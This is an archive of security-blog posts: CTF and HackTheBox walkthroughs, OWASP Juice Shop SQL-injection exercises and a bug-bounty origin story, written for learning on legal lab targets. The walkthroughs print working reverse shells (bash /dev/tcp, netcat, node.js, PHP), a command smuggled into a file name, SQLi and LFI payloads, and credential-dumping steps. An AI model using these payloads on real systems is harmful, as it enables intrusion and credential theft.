Author Archives: Kenneth Larsen

Nahamsec CTF write-up

Nahamsec recently created a CTF when he reached 30k Twitter followers. The only information he gave was here, so there wasn’t really much to go on. This is my write-up; I decided to send my write-up like a bug report. This style of course does not tell the time wasted looking in all the wrong spots, like doing steganography on the JPEG in the above link, or digging on all the wrong server/endpoints.

—————————————————————————————————–

Hello ,
I’ve found a sensitive information disclosure in the API running on http://api-admin.nahamsec.net. Using leaked credentials I was able to access the secret ‘flag’ variable which is obviously a huge risk.

Steps to reproduce

1) Go to https://censys.io/certificates and search for nahamsec.net’ which shows the following certificate: https://censys.io/certificates/2e693fc043379439aeadcce1a9ace91f70e707de616f434215c2010252315098
Notice how it’s valid for the subdomain 30kftw.nahamsec.com

2) Go to http://30kftw.nahamsec.net/ (not https!). The admin area is only allowed from the intranet, but this is easily bypassed by using the X-Forwarded-For header with the correct endpoint, like this:

GET /admin/ HTTP/1.1
Host: 30kftw.nahamsec.net
X-Forwarded-For: 127.0.0.1

Which gives the following reply:
‘Oh!, looks like we have moved our api services to api-admin.nahamsec.net’

3) Go http://api-admin.nahamsec.net which returns 404 Not Found.

4) Go to https://github.com/garagosy/nahamsecCTF2020/blob/master/api.py
There are 2 issues here: First, the api.py leaks full credentials, and second, going to the past commit #4a0dc54 leaks the path: doc=’/swagger’. Note down both.

5) Go back to http://api-admin.nahamsec.net/swagger (the path from step 4). We now have access to the top secret Get_Flag API.
Initially both API endpoints return 500 Internal Server Error, but /api/getflag also accepts GET requests, which return Unauthorized Access with this header:
WWW-Authenticate: Basic realm=”Authentication Required”
Meaning the endpoint expects HTTP authentication.

6)
Make the following Curl request to the API endpoint from step 5 (with the credentials from step 4):

curl -u BugHunters:4dawin -X GET "http://api-admin.nahamsec.net/api/getflag" -H  
"accept: application/json"

Result:

{  "Flag_is": "You are such a guru!, send this to winner@nahamsec.dev" 
}

Impact

Exposure of the secret Flag variable which can spell untold disaster for your company.

Remediation

1) http://30kftw.nahamsec.net/admin/ should not allow bypassing via the X-Forwarded-For header.
2) Remove credentials and path leak at https://github.com/garagosy/nahamsecCTF2020/

HackTheBox Bitlab

Bitlab is rated as a medium box on HackTheBox.

User

As is usual with HackTheBox, I started with an nmap scan and discovered ports 22 and 80 open. Going to the web server on port 80 and looking around, I found an interesting link under ‘help’ that wouldn’t open. Turned out the link was this JavaScript snippet:

javascript:(function(){%20var%20_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[3];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[5];%20})()

Cleaning up the code a little and changing the hex to ASCII, I got this:

javascript:(function(){ var __0x4b18="value","user_login","getElementById","clave","user_password",11des0081x";document[_0x4b18[2][_0x4b18[0]]= _0x4b18[5]; })()

Giving me a username and password, supposedly for the bitlab site I was on.
Login in with these credentials worked and I was able to access 2 different gitlab repositories, one of which allowed me to upload files.
Since the server was running php I tried uploading a simple php reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.194/9123 0>&1'"); ?>

And of course starting a netcat listener on that port.

Now the problem was where to find this file and execute it, and I wasted a long time on this step. Finally I thought to look under ‘/profile’ which seemed different than the rest of the site, and finally found my script and was able to execute it.
With this I now had a shell on the machine as ‘www-data’.

As often happens with HackTheBox machines I couldn’t really do that much with the initial shell and needed to escalate to another user. Apart from root there was only one other user on the box, called ‘clave’, but after spending a long time enumerating the box I didn’t find any obvious way to escalate.

I did notice that www-data was allowed to run ‘/usr/bin/git pull’ as sudo, and I spent considerable time trying to abuse this, with no success.

Going back to the web server I did some more enumeration to see if I’d missed something. I found a code snippet on the server with a postgresql connection command including database username and password. Expanding upon this code snippet I wrote some php code to extract information from the database:

<?php
    $db_connection = pg_connect("host=localhost dbname=profiles       
        user=profiles password=profiles");
    $result = pg_query($db_connection, "SELECT * FROM profiles");
    while ($row = pg_fetch_row($result)) {
        echo "$row[0] - $row[1] - $row[2]";
    }
?>

Running this code the same way as for the initial shell, I succeeded in extracting a username and password from the database itself:

I first base64 decoded the hash which resulted in this: ‘ssh-str0ng-p@ss’ thinking that was the password, but it didn’t work. Trying the password without decoding however did work, so I guess that was a way for the box maker to troll us.

Using ssh to log into the box as clave, I was able to get user.txt.

Root

After logging in as clave, I immediately noticed a Windows binary in the home folder. I downloaded this to my machine with scp:

scp clave@10.10.10.114:/home/clave/RemoteConnection.exe ./

After spending way too much time trying to run and reverse engineer the binary using a Windows 7 virtual machine I gave up and used wine with Kali instead.
Using ollydbg, a free binary debugger, I set breakpoints on the functions with these notes:
GetUserNameW
UNICODE “clave”
Then, stepping through the program, at the second breakpoint I looked at the EAX register which contained a command to ssh with a password.

Using this password I could ssh into the box as root and get root.txt.

From 0 to Bug Hunter – My Journey

Seeing as I recently got my first bug report resolved and was even rewarded a bounty for it, I thought I’d tell how I got started on bug bounty hunting. Hopefully my story can serve as inspiration for other newcomers, and show that it is very much possible to become a bug bounty hunter these days, even without a background in IT.

About 3 years ago (beginning of 2017) I started learning programming after being given the book Python Crash Course. Before that, programming seemed like black magic to me (yes, I was a noob!) even though I’d been using Linux for 10+ years and was very comfortable with the command line and editing scripts. I have no background in IT; my career is in aviation.

After becoming proficient with Python and even writing a few simple arcade games, I started learning the basics of a few other languages: Java, C++ and ARM Assembly. Not enough to be proficient, but enough to read and understand simple programs written by others. I even developed a couple very simple Android applications for myself.

It was at this point that I got interesting in ethical hacking and got the book The Basics of Hacking and Penetration Testing. Looking back, this book is VERY basic but at that point it seemed incredibly 1337 to me. Around the same time I started reading news articles about bug bounty hunters earning good money hacking the web. I started thinking ‘can I learn this too?’ My conclusion was, maybe in 10 years. There was just so much knowledge to accumulate and I doubted if I could learn this stuff by myself. The way I saw it, to be a hacker I needed 10+ years of experience in the IT field.

Nonetheless I got more serious about it and decided to give it a try. Not to earn money but because I really like learning new stuff, especially about computers and technology. In April 2018 I started reading “The Web Application Hacker’s Handbook”, considered the ‘Bible of hacking’. That book presented so much stuff that was totally new to me, but reading it slowly chapter by chapter and practising what I read about using the Damn Vulnerable Web Application (DVWA) it began to make sense to me. After having taken the DVWA apart I hacked on the OWASP WebWolf which introduced me to more advanced concepts.

It was at this time that HackerOne created their first CTF on hacker101. Signing up, I started solving the levels but got stuck on the medium/hard levels. I’m not going to lie, I tried googling for hints, even solutions, but luckily instead of spoiling it for me, I came across a Discord channel created by the hacker Nemesis. Signing up, I was helped by other users to solve the levels I was stuck with and was encouraged to try the hardest levels too. Finally I had found like-minded people and no longer had to study all by myself! I think this was the most important development in my hacking journey, and I owe a lot to my fellow H101 discorders.

One thing led to another, and suddenly I was a moderator on the hacker101 Discord channel. In February of 2019 I subscribed to Pentesterlab and did about 70% of the exercises there, which incremented my knowledge enormously. Then, around spring 2019 I took my first tentative steps at hunting bugs on a live target, hacking on a couple private programs.

I found nothing. Spending hours and trying all the techniques I’d learned in the past year lead me nowhere. Obviously I needed to get better. Especially I felt I needed to know the impact of the different security vulnerabilities; having never been a malicious hacker (nor will I ever be!), I didn’t really think about the impact of, say, an XSS. Sure, I could pop up an alert box, but what could that really lead to?

HackTheBox was my saviour here. By legally hacking on a server to get root access helped me understand the impact, which was an eye-opener for me. Now I understood why these different vulnerabilities are so devastating to companies world-wide, and how for example a local file inclusion (LFI) can potentially lead to a complete server takeover.

I spent about 2 months doing HackTheBox exclusively. At this point it was summer and too hot to do much (37C daily), so I took a pause. Then in September I started bug hunting again, but this time for real. I was at vacation at that time and so had plenty of time to hack. I choose AT&T as my first target mostly because they had a large scope which I hoped would allow me to find a web server no-one had hacked on yet.

Within about a week I suddenly found my first bug! I nervously reported it, and after some back and forth with the triager it got triaged. Yes! Finally I could call myself a bug hunter! I unfortunately can’t disclose the bug type since it has yet to be resolved at the time of writing this.
Within a couple of days more I found my next bug, an XSS (Cross-Site Scripting). Sadly this was a duplicate, but that did not deter me. Less than a week after that I found my third bug, another XSS. This was also the bug that got me my first bounty.

As of writing this I’ve reported more than 10 bugs, most of them to the US Department of Defence. I’ve also been doing some paid security checks which are a great way to perfect my report writing.

The morale of this story is: anyone with the will to study and learn can become a bug bounty hunter. You don’t need to be an experienced programmer. I had been programming amateurishly for little more than one year before I started learning hacking. As long as you keep your expectations realistic and are prepared to study, study and study, you can do it!

Also, come join us on the Hacker101 Discord server. That place helped me so much in my learning, and I hope to return that favour to new people.

HackTheBox Heist

Heist is an easy Windows box on HackTheBox, however since I have very little experience with Windows, I found it rather difficult.

User

The usual nmap scan reveals the following ports are open:

Port 80 presents a login page and a forgotten password link (/issues.php), which actually goes to a forum post with an attached file containing 3 hashed passwords. These can be cracked with hashcat or for the Type 7 hashes, with this page: http://ibeast.com/tools/CiscoPassword/index.asp

Two usernames can also be found in the above config file, and a third can be found on the forum page (Hazard). Using lookupsid.py from Impacket and trying all combinations of logins gets us a few more usernames on the box.

lookupsid.py hazard:stealth1agent@10.10.10.149

Next, use auxiliary/scanner/winrm/winrm_login from Metasploit to check those usernames/passwords – or check them manually if you are not lazy like me ;-)

We now have another set of valid credentials which we can use to login via Windows Remote Management on port 5985. For this I used evil-winrm which gives a Powershell on the machine.

  ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

And with that we have the user.txt.

Root

For root, we check Get-Process to see that firefox is running, something not very usual on a server, even less a HackTheBox machine.
The way to get root on this box is by making a dump of the firefox process and looking through it for any kind of login information or passwords.

First we get procdump64.exe from Windows Sysinternals and serve it on our attacker machine, and then download it on the box:

(New-Object Net.WebClient).DownloadFile("http://10.10.15.211:8000/procdump64.exe", "C:\Users\chase\Documents\procdump64.exe")

And run it on the firefox process by finding firefox’s PID:

 .\procdump64.exe -accepteula -ma PID

(-accepteula is only necessary the first time you run it).

This will create a rather large dump file (400MB+) that can be a pain to sift through. There are a few ways to do that, I’ll detail two of them here. First is to download the file to our attacker box and use strings on it (evil-winrm has a built-in download function) and grepping for ‘password’.

The second and faster way is to download strings64.exe from Windows Sysinternals and running it on the box with:

./strings64.exe -accepteula firefox.exe.dmp | % { if($_ -match "password") {echo $_} }

| % { if($_ -match “password”) {echo $_} } is the Windows Powershell way of running grep. Linux is so much easier…
It is also possible to use this command to grep: sls password ./firefox.exe.dmp -ca, but I found the screen to scroll by too fast to actually find the password, and the frame buffer too small so I couldn’t scroll that far back.

Finally with our new password we can login as administrator with evil-winrm and get root.txt.

All in all it’s a rather easy and quick machine if you know what you’re doing. I didn’t, and needed hints on the HTB forum several times. But I did learn a lot about Windows enumeration and exploitation, which should make future Windows machines just a little easier.

HackTheBox Networked

‘Networked’ is rated as an easy machine on HackTheBox

User

The usual nmap scan revealed the following open ports:

Running gobuster on port 80 revealed a few endpoints, the most interesting one being /backup which had a tarred backup file which included all the PHP files the server was running on port 80. Running those files in a local server revealed how the file upload process in /upload.php worked, and how to bypass the file type restriction by naming the uploaded file shell.php.png
With this, I was able to upload a PHP reverse shell on the live machine:

<?php system($_GET['cmd']); ?>

and I had the initial foothold.

Unfortunately there wasn’t much I could do as this user, so it was time to escalate to the other user on the box, ‘Guly’. In that user’s home folder I found a script that periodically went through all files in /var/www/html/uploads and acted on the filename of any files there. Since there was no sanitising of the input to the script, creating a file containing a bash pipe character as filename would allow me to break out of the current command, and run arbitrary commands. Creating such a file can be a little tricky, but using quotes allowed me to escape the pipe character and create the following file:

touch  '; nc -nv 10.10.14.103 9001 -c bash;'

When the script parses this file, the ; causes it to end the current command and then run netcat, creating a reverse shell to my machine.
As ‘Guly’, I could now read user.txt.

Root

Running ‘sudo -l’ as ‘Guly’ revealed that I could run a script called changename.sh password-less. Playing around with this script, which appeared to allow renaming of a network adapter, I found out that every input after ‘space’ got interpreted as a command. However, the script blacklisted most symbols including dots, meaning I couldn’t just use ‘cat /root/root.txt’. Nor would the usual bash reverse shell work, as it expects the IP address as the usual xxx.xxx.xxx.xxx.

Here’s a little-known feature of Netcat: instead of using the usual IP notation, it also accepts it in Hex. Using an online calculator, I translated my IP to Hex and introduced the following command in changename.sh:

pleaseconnectmetothisaddress nc -e /bin/sh 0x0A0A0E67 9001

The silly first part was required because the command didn’t get interpreted until after the first space.
Now I had a reverse root shell, and could read root.txt.

HackTheBox Haystack

‘Haystack’ is rated as an easy machine on HackTheBox.

USER

Running nmap on the machine showed that only a few ports were open, with http running on both port 80 and 9200.

Visiting port 80 revealed a very simple page with an image and nothing else. Gobuster didn’t reveal any other endpoints on this port, so obviously the image was important.

Running steghide on the image didn’t reveal anything, but strings did, namely a base64 string that translated to a Spanish sentence:

la aguja en el pajar es "clave"

Meaning “The needle in the hay is ‘key'”, where ‘key’ can also mean ‘password’. Trying to extract more information from the image with steghide and the ‘key’ from above didn’t result in anything.

Since there was nothing else on port 80, I proceeded to look at port 9200.
This presented an Elastiksearch portal, and Duckduckgo’ing this technology I was able to construct a search query:

http://10.10.10.115:9200/_search?pretty&size=200

This query revealed that the database contained bank account information and quotes… Strange combination! Looking through both and narrowing the search by using the keywords found in the image earlier, I came upon some interesting stuff (that would never have been there in a real-world database!):

POST /quotes/_search?pretty
Host: 10.10.10.115:9200
Content-Type: application/json
Content-Length: 79

{
   "query":{
      "query_string":{
         "query":"clave"
      }
   }
}

This revealed two base64’d hashes that included a username and password. With these I could SSH into the box and grab the user.txt.

ROOT

Apart from grabbing the user flag there wasn’t really much else I could do as this user, so I instead tried to escalate to the other user on the system, ‘kibana’.
Luckily there exists a known LFI (Local File Exclusion) vulnerability in Kibana, the software that is part of the Elastiksearch stack. The exploit is pretty straight-forward, create a file on the local machine and make a GET request from the local machine to execute it.

I created a node.js reverse shell and put it in /tmp:


1
2
3
4
5
6
7
8
9
10
11
12
(function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(9001, "10.10.15.9", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application from crashing
})();

And then set up a Netcat listener on my attack box and executed the reverse shell via Curl on the server:

http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js

As the ‘kibana’ user I was able to read the /etc/logstash/conf.d/ directory which contained configuration files for logstash, a process running as root which I had identified earlier with LinEnum.sh.

The most interesting file in the above directory was filter.conf, which explains how logstash greps a file and which parts it executes:

filter {
    if [type] == "execute" {
        grok {
            match => { "message" => 
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

Meaning, logstash looks for the string Ejecutar comando : and executes everything after it (the part after GREEDYDATA. There are several blogs on the Internet explaining this, search for ‘grok’ and ‘greedydata’).
With this in mind I created the file /opt/kibana/logstash_x with a reverse bash shell:

Ejecutar comando : bash -i >& /dev/tcp/10.10.15.9/9001 0>&1

And finally I got a connection on the Netcat listener and was logged in as root and could grab the root flag.

HackTheBox Writeup

‘Writeup’ is rated as an easy machine on HackTheBox.

User

As always, I started with an nmap scan which revealed two ports open, port 22 (SSH) and port 80 (HTTP).

Visiting port 80 showed a very simple page and nothing else. No links, nothing. Well, except for a warning that I’d be banned if I hit a lot of 404 pages, so no gobuster or similar brute forcing was going to work here.

Fortunately, checking robots.txt gave me something to work on, as it didn’t want me to visit /writeup. Which is exactly what I did!
There wasn’t much of interest in /writeup, but wappalyzer (a Firefox plugin) identified the software running as ‘CMS Made Simple’. Something which exploit-db has several exploits for.
I found an SQL injection exploit which didn’t need any valid credentials, and since I wasn’t able to identify the version of CMS Made Simple running, I decided to give it a try.

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

Within a short time the exploit had extracted a username, and the salt and hash for the password. Using hashcat with mode 20 (md5($salt.$pass)) I got the password ‘raykayjay9’ which allowed me to log in via SSH and grab the user flag.

Root

For root, I did the usual and fetched LinEnum and pspy and ran them. I didn’t initially notice anything with these tools, so I ran pspy with the parameters -fp to see all file system events.
When someone ssh’d into the box, sshd would call run-parts without a specific path, looking in the following dirs in the PATH variable:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Checking if any of these directories were writable showed that both /usr/local/sbin and /usr/local/bin were. So what would happen if I were to put an executable script called ‘run-parts’ into either of the above dirs?

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/9001 0>&1

Running chmod +x to make the above script executable and starting a reverse netcat listener

nc -lvnp 9001

All I had to do was log in via SSH again, and I had a reverse root shell and could grab the root flag!

OWASP Juice Shop Cracking

Today I’m going to write how to get the answers to the security answers for the lost password functionality in OWASP Juice Shop. While there’s no achievement for this, it is a very good exercise that teaches both SQL injection, code diving and cracking.
In order to reset a user’s password, 2 things are required: their email and the answer to their security question. Both are initially relatively easy to get, as I’ll show.

There are a couple places in Juice Shop that are vulnerable to SQL injection. My other Juice Shop post explained how to exploit this vulnerability in the login form, but it also exists in the product search page. Furthermore, this is not a blind SQL injection, so we are able to see the full output.

Testing the product search form I was able to provoke an error message that showed the search query being made, and I found out that I could break out of the query by adding ‘)) to the search query, and then construct my own query terminated by — -.

First, I constructed a UNION query to find the number of columns by adding ‘null’ until the query got accepted:

search?q=')) UNION SELECT null,null,null,null,null,null,null,null FROM Products -- -

Next, I altered this base query to find the name of the tables in the database:

search?q=')) UNION SELECT name,name,name,name,name,name,name,name FROM sqlite_master WHERE type='table' -- -

I got the email addresses of the users with a query for the Users table (and yes, I could as well dump the passwords too, which would be so much easier than what I did last time!):

search?q=')) UNION SELECT id,username,email,null,null,null,null,null FROM Users -- -

And with this information I could start extracting the information from the securityAnswers table:

search?q=')) UNION SELECT id,userid,answer,null,null,null,null,null FROM securityAnswers -- -

Great! One problem though: the answers are not in plaintext (nor should they be if this was a real application!). They appear to be hashed as SHA256, so I tried cracking them with hashcat. No luck though.

This is where it gets interesting. Since Juice Shop is open source, I was able to dig through the code on GitHub and search for the code responsible for hashing the security answer. The relevant file can be found here, and the relevant line below:

exports.hmac = data => crypto.createHmac('sha256', '07-92-75-2C-DB-D3').update(data).digest('hex')

So the script takes the security answer (data), and creates a SHA256 HMAC (signed hash) signed with the key “07-92-75-2C-DB-D3”. Now we are in business!

All that remains is to put it all together and crack the hashes. First, I extracted the hashes from the database dump and put it in a format that hashcat understands, namely HASH:KEY, and then ran hashcat with the following arguments:

hashcat -m 1460 -a 3 -w 3 /usr/share/wordlists/rockyou.txt hash.txt

Within a few seconds I had the first 2 security answers, and a couple hours later I got another. I could imagine that some of the answers are too weird to be brute forced (I know Bender’s is!), so it’s doubtful I’ll be able to crack them all.

I think the most important take-away from this exercise is that if you have access to the source code, anything is possible. There’s absolutely no way I’d have been able to crack the HMAC without the secret key, but doing some GitHub search gave me that (and other secrets that’ll help me on future exercises).

EDIT 24/08/19: Bj√∂rn Kimminich, the creator of Juice Shop, pointed out below that using the source code is cheating. Which makes sense, as it makes many of the challenges very easy that way. Still, seeing as cracking the hashes is neither required, nor an achievement, I think it’s a good exercise nonetheless.

Feel free to post any comments or questions below and I’ll reply as soon as I’m able.

OWASP Juice Shop SQLi

The OWASP Juice Shop is a vulnerable web application to train web application hacking on, much like OWASP WebGoat which I’ve already covered on this blog.
Without spoiling too much, the login form is vulnerable to SQL injection, and it is possible to dump the database from here. I’ll cover the detection of the vulnerability and how to automate exploiting it.
It is very easy to bypass the password check and login as anyone by using some Boolean logic and commenting out the rest of the query, as shown here:

myemail@somewhere.com’ OR 1=1 — –

What exactly does this do? Digging a little deeper in the login form and provoking an error (by only injecting a quote), we can see that the query done by the backend is the following:

“SELECT * FROM Users WHERE email = ‘myemail@somewhere.com’ AND password = ’81dc9bdb52d04dc20036dbd8313ed055′ AND deletedAt IS NULL”

So by injecting a quote (‘) we can break out of the email field and inject our own SQL query, in the above case one that equates to true and comments out the rest of the query, bypassing the password and deletedAt check.

Having identified the vulnerability, let’s try and dump the Users table. First step is to check the number of columns in the table and the name of these. We do this by constructing a UNION query and querying each column by ‘null’ (since we don’t know its name yet).

myemail@somewhere.com’ UNION SELECT null FROM users — –

This returns the following error:

SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns

So we continue adding nulls separated by a comma, until the error goes away:

myemail@somewhere.com’ UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null from users — –

12 columns, that’s a lot! Let’s try and find names for them.
At this point we can guess the names, however the Java Web Token the application sets actually tells us almost all the column names, except one.
To find them, base64-decode the JWT.

id,username,email,isAdmin,lastLoginIp,profileImage,isActive,createdAt,
updatedAt,deletedAt,password,totpSecret

With this information, it is relatively easy to put together a Python script to completely automate the extraction of the database. The only really interesting info in the Users table is the password, so I’ve focused my script on extracting those. Although yes, I’m completely aware that the very first thing I did was bypass the password check, but it’s still nice to be able to login as anyone with their password (Juice Shop actually has an ‘achievement’ for just that!).

If you’re interested head over to my GitHub repo to check out the script.

50m CTF write-up

On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.

Step 1

The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:

./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v

Visiting the link led to a Google Drive box with a single file, an Android APK.

Step 2

First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.

Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!

After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!

I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!

Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:

 #!/usr/bin/env python3.6

""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib

__priority__ = PRIORITY.LOW

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
"\",\"password\":\"1\",\"cmd\":\"getTemp\"}"
retVal = pad(retVal)
iv = Random.new().read(AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
cipher.encrypt(retVal)).decode('utf-8')
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal

I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.

Step 3

Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.

At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.

I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.

 # Script to perform time-based attack on the 50m-CTF login. 
from collections import defaultdict
import requests
import numpy as np
import datetime

url = 'http://104.196.12.98/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
'f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db1300'
results = defaultdict(list)

print('Starting login timing attack at ' +
str(datetime.datetime.now()) + '. \n')

for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req = requests.post(url, headers=headers, data=data)
results[i].append(req.elapsed.total_seconds())
print('Cycle ' + str(j) + ' complete at ' +
str(datetime.datetime.now()) + '. \n')
j += 1

for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))

print('##########################################################\n')

The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.

Step 4

I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..

Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!

At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.